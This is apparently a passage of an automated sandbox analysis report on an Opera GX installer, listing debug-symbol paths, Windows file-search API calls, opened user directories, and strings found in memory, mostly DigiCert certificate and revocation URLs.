      Source: Binary string: c:\srv\slave\workdir\repos\opera\chromium\src\out\Release\installer_lib.dll.pdb source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp
      Source: Binary string: assistant_installer.exe.pdb@ source: Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003442000.00000004.00000020.00020000.00000000.sdmp, assistant_installer.exe, 00000014.00000000.2696344691.0000000000885000.00000002.00000001.01000000.00000015.sdmp, assistant_installer.exe, 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmp, assistant_installer.exe, 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmp, assistant_installer.exe, 00000015.00000000.2697138404.0000000000885000.00000002.00000001.01000000.00000015.sdmp
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeCode function: 19_2_004033B3 GetFileAttributesW,SetLastError,FindFirstFileW,FindClose,CompareFileTime,19_2_004033B3
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeCode function: 19_2_00402F12 FindFirstFileW,SetFileAttributesW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetFileAttributesW,RemoveDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,19_2_00402F12
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_00759120 PathMatchSpecW,FindNextFileW,FindClose,FindFirstFileExW,GetLastError,GetFileAttributesW,20_2_00759120
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_007E9AE2 FindFirstFileExW,20_2_007E9AE2
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_00759120 PathMatchSpecW,FindNextFileW,FindClose,FindFirstFileExW,GetLastError,GetFileAttributesW,21_2_00759120
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 21_2_007E9AE2 FindFirstFileExW,21_2_007E9AE2
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeFile opened: C:\Users\user\AppData\Local\Temp
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeFile opened: C:\Users\user
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeFile opened: C:\Users\user\AppData\Local
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeFile opened: C:\Users\user\AppData\Local\Temp\.opera
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeFile opened: C:\Users\user\AppData
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeFile opened: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: "favicon_url": "https://www.rambler.ru/favicon.ico", equals www.rambler.ru (Rambler)
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: "favicon_url": "https://www.yahoo.co.jp/favicon.ico", equals www.yahoo.com (Yahoo)
      Source: installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: c. Facebook Messenger: A messaging service provided by Facebook, Inc., Meta Platforms Ireland Ltd. or related companies, depending on where you are accessing their services. Terms of use are available at https://www.facebook.com/legal/terms; and equals www.facebook.com (Facebook)
      Source: installer.exeString found in binary or memory: hatsapp.com/legal; and c. Facebook Messenger: A messaging service provided by Facebook, Inc., Meta Platforms Ireland Ltd. or related companies, depending on where you are accessing their services. Terms of use are available at https://www.facebook.com/l equals www.facebook.com (Facebook)
      Source: installer.exeString found in binary or memory: http://autoupdate-staging.services.ams.osa/
      Source: setup.exe, 0000000A.00000003.2683317067.00000000050D8000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.3456982582.0000000053E0C000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2854010384.0000000053F90000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3459953628.00000000010B6000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695060287.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003442000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003716000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695221758.0000000003DB0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, f_1.exe, 00000008.00000003.1472455897.0000000004650000.00000004.00001000.00020000.00000000.sdmp, f_1.exe, 00000008.00000003.1472800380.0000000004810000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1485523402.0000000003E56000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2653474716.0000000053F4C000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2676274150.0000000054004000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2631829058.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000A.00000002.3459953628.00000000010B6000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2649589825.00000000011B3000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2651071216.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2631829058.00000000011BD000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, 00000017.00000002.3376053216.00007FF73DBE8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000017.00000003.3205857159.000001F1A270E000.00000004.00000020.00020000.00000000.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73DBE8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
      Source: setup.exe, 0000000A.00000003.2735366179.0000000004CB5000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695060287.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003442000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003716000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695221758.0000000003DB0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA-SHA2.crt0
      Source: setup.exe, 0000000A.00000003.3454052443.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2735255285.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3460970822.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695060287.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003442000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003716000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695221758.0000000003DB0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
      Source: setup.exe, 0000000A.00000003.3454052443.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3460970822.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2683317067.00000000050D8000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.3456982582.0000000053E0C000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2735255285.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2854010384.0000000053F90000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3459953628.00000000010B6000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695060287.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003442000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003716000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695221758.0000000003DB0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, f_1.exe, 00000008.00000003.1472455897.0000000004650000.00000004.00001000.00020000.00000000.sdmp, f_1.exe, 00000008.00000003.1472800380.0000000004810000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1485523402.0000000003E56000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2649589825.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2631829058.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000A.00000003.2651071216.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2639190356.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, 00000017.00000002.3376053216.00007FF73DBE8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000017.00000003.3205857159.000001F1A270E000.00000004.00000020.00020000.00000000.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73DBE8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, f_1.exe, 00000008.00000003.1472455897.0000000004650000.00000004.00001000.00020000.00000000.sdmp, f_1.exe, 00000008.00000003.1472800380.0000000004810000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1485523402.0000000003E56000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2653474716.0000000053F4C000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.3454052443.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2676274150.0000000054004000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2649589825.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2631829058.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000A.00000003.2651071216.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2735255285.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2735255285.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3460970822.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2649589825.00000000011B3000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2651071216.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2631829058.00000000011BD000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
      Source: setup.exe, 0000000A.00000003.2631829058.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2639190356.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2649589825.00000000011B3000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2651071216.00000000011BA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, f_1.exe, 00000008.00000003.1472455897.0000000004650000.00000004.00001000.00020000.00000000.sdmp, f_1.exe, 00000008.00000003.1472800380.0000000004810000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1485523402.0000000003E56000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2653474716.0000000053F4C000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2676274150.0000000054004000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2649589825.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2631829058.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000A.00000003.2651071216.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2735255285.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2649589825.00000000011B3000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2651071216.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2631829058.00000000011BD000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, 00000017.00000002.3376053216.00007FF73DBE8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000017.00000003.3205857159.000001F1A270E000.00000004.00000020.00020000.00000000.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73DBE8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, f_1.exe, 00000008.00000003.1472455897.0000000004650000.00000004.00001000.00020000.00000000.sdmp, f_1.exe, 00000008.00000003.1472800380.0000000004810000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1485523402.0000000003E56000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2653474716.0000000053F4C000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2676274150.0000000054004000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2631829058.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000A.00000002.3459953628.00000000010B6000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2649589825.00000000011B3000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2651071216.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2631829058.00000000011BD000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, 00000017.00000002.3376053216.00007FF73DBE8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000017.00000003.3205857159.000001F1A270E000.00000004.00000020.00020000.00000000.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73DBE8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
      Source: setup.exe, 0000000A.00000003.2683317067.00000000050D8000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.3456982582.0000000053E0C000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2854010384.0000000053F90000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.3454251154.0000000005138000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3459953628.00000000010B6000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695060287.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003442000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003716000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695221758.0000000003DB0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
      Source: setup.exe, 0000000A.00000003.3454052443.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2735255285.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3460970822.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695060287.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003442000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003716000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695221758.0000000003DB0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, f_1.exe, 00000008.00000003.1472455897.0000000004650000.00000004.00001000.00020000.00000000.sdmp, f_1.exe, 00000008.00000003.1472800380.0000000004810000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1485523402.0000000003E56000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2649589825.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2631829058.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000A.00000003.2651071216.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2639190356.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, 00000017.00000002.3376053216.00007FF73DBE8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000017.00000003.3205857159.000001F1A270E000.00000004.00000020.00020000.00000000.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73DBE8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, f_1.exe, 00000008.00000003.1472455897.0000000004650000.00000004.00001000.00020000.00000000.sdmp, f_1.exe, 00000008.00000003.1472800380.0000000004810000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1485523402.0000000003E56000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2653474716.0000000053F4C000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.3454052443.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2676274150.0000000054004000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2649589825.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2631829058.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000A.00000003.2651071216.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2735255285.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2735255285.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3460970822.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2649589825.00000000011B3000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2651071216.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2631829058.00000000011BD000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
      Source: installer.exe, 00000018.00000000.3200904648.00007FF73DBE8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
      Source: setup.exe, 0000000A.00000003.2735366179.0000000004CB5000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695060287.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003442000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003716000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695221758.0000000003DB0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/EVCodeSigningSHA2-g1.crl07
      Source: setup.exe, 0000000A.00000003.3454052443.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3460970822.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2683317067.00000000050D8000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.3456982582.0000000053E0C000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2735255285.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2854010384.0000000053F90000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3459953628.00000000010B6000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695060287.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003442000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003716000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695221758.0000000003DB0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
      Source: setup.exe, 0000000A.00000003.2683317067.00000000050D8000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.3456982582.0000000053E0C000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2854010384.0000000053F90000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3459953628.00000000010B6000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695060287.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003442000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003716000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695221758.0000000003DB0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
